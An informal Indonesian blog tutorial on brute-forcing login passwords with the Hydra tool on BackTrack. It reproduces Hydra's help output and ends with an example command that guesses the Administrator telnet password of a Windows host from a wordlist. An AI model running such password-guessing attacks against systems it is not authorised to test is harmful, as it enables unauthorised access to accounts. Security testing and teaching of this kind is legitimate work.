Sharing Tutorial

nulis lagi nulis lagi……tapi gpp…soalnya lagi senang bangat nulis…

kali ini saya coba menjeskan tentang cara bruteforce password dengan hydra,,,,
hydra adalah tools bruteforce yang sangat2 terkenal di kalangan para dedemit maya…untuk info lebih lanjut tentang hydra
silahkan lihat di situs resminya

hydra sendiri terbagi menjadi 2 mode penggunaan,yaitu mode text dan mode grafik ( gui )…
kali ini yang akan saya jelaskan adalah cara menggunakan hydra pada modus text..
hydra bisa digunakan untuk melakukan password cracking ( bruteforce method ) pada berbagai maca protocol..mulai dari cisco,telnet,sshv2,snmp,http metode get dll..
kebetulan hydra yang saya gukanan adalah hydra versi baru yang uda ada pada backtrack 3..
Ok here we go…………………..

ini adalah output hydra ketika di ketik pada console backtrack,,

bt ~ # hydra
Hydra v5.4 [http://www.thc.org] (c) 2006 by van Hauser / THC

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

Options:
-R restore a previous aborted/crashed session
-S connect via SSL
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-e ns additional checks, “n” for null password, “s” try login as pass
-C FILE colon seperated “login:pass” format, instead of -L/-P options
-M FILE server list for parallel attacks, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f exit after the first found login/password pair (per host if -M)
-t TASKS run TASKS number of connects in parallel (default: 16)
-w TIME defines the max wait time in seconds for responses (default: 30)
-v / -V verbose mode / show login+pass combination for each attempt
server the target server (use either this OR the -M option)
service the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd
OPT some service modules need special input (see README!)

Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy.
Hydra is a tool to guess/crack valid login/password pairs – use allowed only
for legal purposes! If used commercially, tool name, version and web address
must be mentioned in the report. Find the newest version at http://www.thc.org

basic dari penggunaan hydra misalnya :

hydra IP_target protocol -l username -P password list -v(verbose options)

contohnya
bila kita ingin melakukan password cracking pada mesin windows yang menjalakan servis telnet,maka cara bruteforce dengan hydra misalnya :

hydra 10.14.10.2 telnet -l Administrator -P wordlist -v